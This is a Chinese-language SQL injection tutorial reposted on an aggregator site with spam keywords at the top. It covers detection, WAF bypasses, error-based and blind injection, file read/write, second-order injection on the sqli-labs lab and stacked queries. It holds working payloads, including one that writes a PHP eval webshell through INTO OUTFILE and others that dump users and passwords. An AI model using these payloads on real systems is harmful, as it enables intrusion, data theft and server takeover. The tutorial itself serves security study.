欧美亚洲中文,在线国自产视频,欧洲一区在线观看视频,亚洲综合中文字幕在线观看

      1. <dfn id="rfwes"></dfn>
          <object id="rfwes"></object>
        1. 站長資訊網(wǎng)
          最全最豐富的資訊網(wǎng)站

          帶你了解SQL注入(詳細)

          本篇文章給大家?guī)砹藄ql注入的相關知識,SQL注入是服務端未嚴格校驗客戶端發(fā)送的數(shù)據(jù),而導致服務端SQL語句被惡意修改并成功執(zhí)行的行為,希望對大家有幫助。

          帶你了解SQL注入(詳細)

          SQL是什么?

          結(jié)構(gòu)化查詢語?(Structured Query Language ,SQL),是?種特殊的編程語?,?于數(shù)據(jù)庫的標準數(shù)據(jù)查詢。1986 年10 ?美國國家標準協(xié)會對SQL 進?了規(guī)范后,以此作為關系型數(shù)據(jù)庫系統(tǒng)的標準語?。1987 年得到了國際標準組織的?持,成為了國際標準。

          什么是SQL注入

          SQL注入是服務端未嚴格校驗客戶端發(fā)送的數(shù)據(jù),而導致服務端SQL語句被惡意修改并成功執(zhí)行的行為
          帶你了解SQL注入(詳細)

          漏洞原理

          SQL 注?的攻擊?為可以描述為通過?戶可控參數(shù)中注?SQL 語法,破壞原有SQL 結(jié)構(gòu),達到編寫程序時意料之外結(jié)果的攻擊?為。其成因可以歸結(jié)為以下兩個原因疊加造成的。

          • 程序員在處理程序和數(shù)據(jù)庫交互時,使?字符串拼接的?式構(gòu)造SQL 語句
          • 未對?戶可控參數(shù)進??夠的過濾,便將參數(shù)內(nèi)容拼接到SQL 語句中

          漏洞原因

          • 用戶能夠控制輸入
          • 是對于輸入檢查不充分,導致SQL語句將用戶提交的非法數(shù)據(jù)當作語句的一部分來執(zhí)行

          為什么會有SQL注入

          • 代碼對帶入SQL語句的參數(shù)過濾不嚴格
          • 未啟用框架的安全配置,例如:PHP的magic_quotes_gpc
          • 未使用框架安全的查詢方法
          • 測試接口沒有刪除
          • 未啟用防火墻
          • 未使用其他的安全防護設備

          注?點可能存在的位置

          根據(jù)SQL 注?漏洞的原理,?戶“可控參數(shù)”中注?SQL 與發(fā),也就是說Web 應?獲取?戶輸?的地?,只要帶?數(shù)據(jù)庫查詢,都有存在SQL 注?的可能,這些地?通常包括:

          • GET 數(shù)據(jù)
          • POST 數(shù)據(jù)
          • Cookie 數(shù)據(jù)
          • HTTP 頭部(HTTP 頭部中的其他字段)

          漏洞危害

          1. 數(shù)據(jù)庫信息泄漏、獲取、修改敏感數(shù)據(jù):數(shù)據(jù)庫中存放的用戶的隱私信息(帳號、密碼)的泄露
          2. 繞過登錄驗證:使用萬能密碼登錄網(wǎng)站后臺等
          3. 文件系統(tǒng)操作:列目錄,讀取、寫入文件等
          4. 網(wǎng)頁篡改:通過操作數(shù)據(jù)庫對特定網(wǎng)頁進行篡改,嵌入網(wǎng)馬鏈接,進行掛馬攻擊
          5. 注冊表操作:讀取、寫入、刪除注冊表等
          6. 執(zhí)行系統(tǒng)命令:遠程執(zhí)行命令
          7. 服務器被遠程控制、種植木馬:黑客可以修改或控制操作系統(tǒng)

          提交方法

          提交方法有:get、post、cookie、request等
          其中:request支持度較好,你把參數(shù)以get方式、post方式、cookie方式提交都是可以的

          判斷注入點

          會在疑似注?點的地?或者參數(shù)后?嘗試提交數(shù)據(jù),從而進?判斷是否存在SQL 注?漏洞。

          測試數(shù)據(jù) 測試判斷 攻擊思路
          -1或+1 是否能夠回顯上?個或者下?個頁面(判斷是否有回顯) 聯(lián)合注入
          '" 是否顯示數(shù)據(jù)庫錯誤信息;回顯的頁面是否不同(字符型還是數(shù)字型) 報錯注入
          and 1=1 或者 and 1=2 回顯的頁面是否不同(判斷頁面是否有布爾類型的狀態(tài)) 布爾盲注
          and sleep(5) 判斷頁面的返回時間 延時注入
          判斷轉(zhuǎn)義

          注意:如果你對著一個網(wǎng)站測試的時候,出現(xiàn)404,或者頁面跳轉(zhuǎn),說明網(wǎng)站有防護

          判斷字符型還是數(shù)字型

          如下圖,一般來說,id之類的參數(shù)后面跟的是數(shù)字型(也有可能是字符型),別的參數(shù)后面跟的是字符型
          帶你了解SQL注入(詳細)

          sql注入繞過

          1. 大小寫繞過
          2. 雙寫關鍵字繞過
          3. 特殊編碼繞過

          如果有些字符串確實被限制的很嚴格,我們可以嘗試一些編碼繞過。
          如URLEncode編碼,ASCII、HEX、unicode編碼繞過:

          • or 1=1即%6f%72%20%31%3d%31,
          • Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
          1. 空格過濾繞過
          2. 過濾函數(shù)繞過
          • sleep() ——> benchmark()
          • substr()、substring()、mid()可以相互替換
          • user() ——> @@user() 、datadir ——> @@datadir
          • ord() ——> ascii() :這兩個函數(shù)在處理英文時效果一樣,但處理中文時效果不一樣
          • ascii ——> hex()、bin():替代之后再使用對應的進制轉(zhuǎn)string即可
          • group_concat() ——> concat_ws()
          1. 內(nèi)聯(lián)注釋繞過/*!...*/

          在MySQL里,/**/是多行注釋,這個是SQL的標準,但是MySQL擴張了解釋的功能,如果在開頭的的/*后頭加了感嘆號/*!50001sleep(3)*/,那么此注釋里的語句將被執(zhí)行。

          /*!50001 select * from test */;這里的50001表示假如 數(shù)據(jù)庫是5.00.01以上版本,該語句才會被執(zhí)行,對于有些waf我們可以通過這種方式進行繞過。

          獲取網(wǎng)站路徑

          路徑常見獲取方法:

          1. 報錯顯示

          帶你了解SQL注入(詳細)

          1. 遺留文件

          別用百度,用谷歌搜索inurl:phpinfo.php
          帶你了解SQL注入(詳細)

          漏洞報錯、平臺配置文件、爆破等

          SQL 注入讀寫文件

          可以利用SQL 注入漏洞進行文件讀寫。
          利用的前提條件:

          1. 數(shù)據(jù)庫支持文件讀寫

          這里涉及到1個變量secure_file_priv,該參數(shù)在高版本的 mysql 數(shù)據(jù)庫中限制了文件的導入導出操作。若要配置此參數(shù),需要修改 my.ini 配置文件,并重啟 mysql 服務【其在Phpstudy中默認是NULL,不允許讀寫文件】
          帶你了解SQL注入(詳細)

          參數(shù) 含義
          secure_file_priv=NULL 限制mysqld 不允許導入導出操作
          secure_file_priv=‘c:/a/’ 會限制mysqld 的導入導出操作在某個固定目錄下,并且子目錄有效
          secure_file_priv= 不對mysqld 的導入導出操作做限制

          修改配置文件,對讀寫不做限制,文件路徑C:phpStudyMySQLmy.ini,該操作比較敏感,需要在mysql的配置文件中操作,在phpmyadmin網(wǎng)頁中不能修改
          帶你了解SQL注入(詳細)

          帶你了解SQL注入(詳細)

          2. 當前用戶具有文件權(quán)限

          1. 獲知當前用戶和主機名
          ?id=-1'union select 1,current_user(),3 --+

          帶你了解SQL注入(詳細)

          1. 查看有無權(quán)限
          ?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+

          帶你了解SQL注入(詳細)

          方法2:

          select File_priv from mysql.user where user="root" and host="localhost";

          帶你了解SQL注入(詳細)

          3. 知道文件絕對路徑

          1. 讀取文件,使用 load_file

          下面兩種方法一樣

          ?id=1' and 1=2 union select 1,load_file('c:\windows\system32\drivers\etc\hosts'),3 --+ ?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+

          帶你了解SQL注入(詳細)

          1. 寫入文件,使用 into_outfile

          這里需要注意,寫16進制是直接寫,寫明文的話,需要用引號給包住

          寫phpinfo,沒有報錯就說明寫入成功,可以直接訪問寫入的文件地址

          # 1. 直接寫 ?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\phpstudy\www\hack.php'--+ # 2. 改寫成16進制 ?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+

          帶你了解SQL注入(詳細)

          帶你了解SQL注入(詳細)

          寫一句話木馬

          # 1. 直接寫 ?id=1' and 1=2 union select 1,'<?=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+  # 2. 改寫成16進制 ?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+

          查詢方式及報錯盲注⭐

          在進行SQL注入時,有很多注入會出現(xiàn)無回顯的情況,其中不回顯的原因可能是SQL語句查詢方式的問題導致,這個時候我們需要用到相關的報錯或盲注進行后續(xù)操作,同時作為手工注入,提前了解或預知其SQL語句的大概寫法也能更好的選擇對應的注入語句。

          更詳細的介紹,請參見下一篇文章 《SQL注入的常見方式》

          查詢方式

          重點理解:我們可以通過下面的查詢方式和網(wǎng)站應用的關系、注入點產(chǎn)生地方、應用猜測到對方的SQL查詢方式
          查詢方法舉例說明

          1. select:查詢數(shù)據(jù)在網(wǎng)站應用中進行數(shù)據(jù)顯示查詢操作

          舉例:select * from news where id=$id

          1. insert:插入數(shù)據(jù)在網(wǎng)站應用中進行用戶注冊添加等操作

          舉例:insert into news(id,url,text) values(2,'x','$t')

          1. delete:刪除數(shù)據(jù)后臺管理里面刪除文章刪除用戶等操作

          舉例:delete from news where id=$id

          1. update更新數(shù)據(jù)會員或后臺中心數(shù)據(jù)同步或緩存等操作

          舉例:update user set pwd='$p' where id=2 and username='admin'

          1. order by排序數(shù)據(jù)一般結(jié)合表名或列名進行數(shù)據(jù)排序操作

          舉例:select * from news order by $id
          舉例:select id,name,price from news order by $order

          報錯盲注

          盲注就是在注入過程中,獲取的數(shù)據(jù)不能回顯至前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試。
          這個過程稱之為盲注。我們可以知道盲注分為以下三類:

          1. 基于布爾的SQL盲注-邏輯判斷(不回顯)
            regexp,like,ascii,left,ord,mid

          2. 基于時間的SQ盲注-延時判斷(不回顯)
            if,sleep

          3. 基于報錯的SQL盲注-(強制)報錯回顯
            floor,updatexml,extractvalue

          報錯模板:https://www.jianshu.com/p/bc35f8dd4f7c

          報錯注入函數(shù)

          1. floor()
          • floor(x),返回小于或等于x的最大整數(shù)。
          • payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
          • x表示concat(database(),rand(0)*2),rand(0)以0為隨機種子產(chǎn)生0-1之間的隨機數(shù),*2產(chǎn)生0-2之間的隨機數(shù)。
          • 報錯原因:主鍵重復,必需:count()、rand()、group by
          • 分析鏈接:https://xz.aliyun.com/t/253#toc-2
          1. exp()
          • exp(x)返回e^x。
          • 當x的值足夠大的時候就會導致函數(shù)的結(jié)果數(shù)據(jù)類型溢出,也就會因此報錯
          • payload:id =1 and EXP(~(SELECT * from(select user())a))
          1. updatexml()

          利用的就是mysql函數(shù)參數(shù)格式錯誤進行報錯注入。

          updatexml()函數(shù)語法:updatexml(XML_document,Xpath_string,new_value);

          • 函數(shù)語法解析:
          • XML_document:是字符串String格式,為XML文檔對象名稱
          • Xpath_string:Xpath格式的字符串
          • new_value:string格式,替換查找到的符合條件的數(shù)據(jù)

          適用版本是:5.1.5+

          利用方式:在執(zhí)行兩個函數(shù)時,如果出現(xiàn)xml文件路徑錯誤,就會產(chǎn)生報錯 那么我們就需要構(gòu)造Xpath_string格式錯誤,也就是我們將Xpath_string的值傳遞成不符合格式的參數(shù),mysql就會報錯

          1. extractvalue()

          利用的原理是xpath格式不符報錯注入。

          函數(shù)語法:extractvalue(XML_document,XPath_string)
          適用的版本:5.1.5+

          1. 獲取當前是數(shù)據(jù)庫名稱及使用mysql數(shù)據(jù)庫的版本信息: and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))  2. 獲取當前注入點的用戶權(quán)限信息及操作系統(tǒng)版本信息: and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))  3. 獲取當前位置所用數(shù)據(jù)庫的位置: and extractvalue(1,concat(0x7e,@@datadir,0x7e))  4. 獲取數(shù)據(jù)表信息: and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))  5. 獲取users數(shù)據(jù)表的列名信息: and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))  6. 獲取對應的列名的信息(usernamepassword): and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))

          二次注入

          帶你了解SQL注入(詳細)

          二次注入漏洞是一種在Web應用程序中廣泛存在的安全漏洞形式。相對于一次注入漏洞而言,二次注入漏洞更難以被發(fā)現(xiàn),但是它卻具有與一次注入攻擊漏洞相同的攻擊威力。

          原理

          二次注入的原理:在第一次進行數(shù)據(jù)庫插入數(shù)據(jù)的時候,僅僅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 對其中的特殊字符進行了轉(zhuǎn)義,但是addslashes有一個特點就是雖然參數(shù)在過濾后會添加進行轉(zhuǎn)義,但是并不會插入到數(shù)據(jù)庫中,在寫入數(shù)據(jù)庫的時候還是保留了原來的數(shù)據(jù)。

          在將數(shù)據(jù)存入到了數(shù)據(jù)庫中之后,開發(fā)者就認為數(shù)據(jù)是可信的。在下一次進行需要進行查詢的時候,直接從數(shù)據(jù)庫中取出了臟數(shù)據(jù),沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入。比如在第一次插入數(shù)據(jù)的時候,數(shù)據(jù)中帶有單引號,直接插入到了數(shù)據(jù)庫中;然后在下一次使用中在拼湊的過程中,就形成了二次注入。

          實施步驟

          1. 插入惡意數(shù)據(jù)

          第一次進行數(shù)據(jù)庫插入數(shù)據(jù)的時候,僅僅對其中的特殊字符進行了轉(zhuǎn)義,在寫入數(shù)據(jù)庫的時候還是保留了原來的數(shù)據(jù),但是數(shù)據(jù)本身包含惡意內(nèi)容

          1. 引用惡意數(shù)據(jù)

          帶你了解SQL注入(詳細)

          舉例

          這里使用的是sql-libs靶場的第24關

          1. 首先看一下最開始的時候,靶機的數(shù)據(jù)庫是什么樣子的,這里以其中的用戶dhakkan來演示

          帶你了解SQL注入(詳細)

          1. 注冊一個新用戶

          帶你了解SQL注入(詳細)

          1. 注冊了一個新用戶之后的數(shù)據(jù)庫如下
            帶你了解SQL注入(詳細)

          2. 新用戶登錄,并重置密碼

          3. 查看數(shù)據(jù)庫,有意思的事情發(fā)生了,dhakkan的密碼改變了,但是新用戶的密碼沒有改變

          帶你了解SQL注入(詳細)

          1. 在第24關的源代碼中,可以看到原因,如下圖

          帶你了解SQL注入(詳細)

          堆疊查詢

          堆疊注入(Stacked injections),從名詞的含義就可以看到應該是一堆sql語句(多條)一起執(zhí)行。而在真實的運用中也是這樣的,我們知道在mysql中,主要是命令行中,每一條語句結(jié)尾加 ; 表示語句結(jié)束。這樣我們就想到了是不是可以多句一起使用。于是出現(xiàn)了堆疊注入(又稱堆疊查詢)
          帶你了解SQL注入(詳細)

          注意事項:
          堆疊注入的使用條件十分有限,其可能受到API或者數(shù)據(jù)庫引擎,又或者權(quán)限的限制只有當調(diào)用數(shù)據(jù)庫函數(shù)支持執(zhí)行多條sql語句時才能夠使用,利用mysqli_multi_query()函數(shù)就支持多條sql語句同時執(zhí)行,但實際情況中,如PHP為了防止sql注入機制,往往使用調(diào)用數(shù)據(jù)庫的函數(shù)是mysqli_ query()函數(shù),其只能執(zhí)行一條語句,分號后面的內(nèi)容將不會被執(zhí)行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網(wǎng)站造成十分大的威脅

          DNSlog

          DNSlog 就是存儲在 DNS Server 上的域名信息,它記錄著用戶對域名 www.baidu.com 等的訪問信息,類似日志文件。

          贊(0)
          分享到: 更多 (0)
          網(wǎng)站地圖   滬ICP備18035694號-2    滬公網(wǎng)安備31011702889846號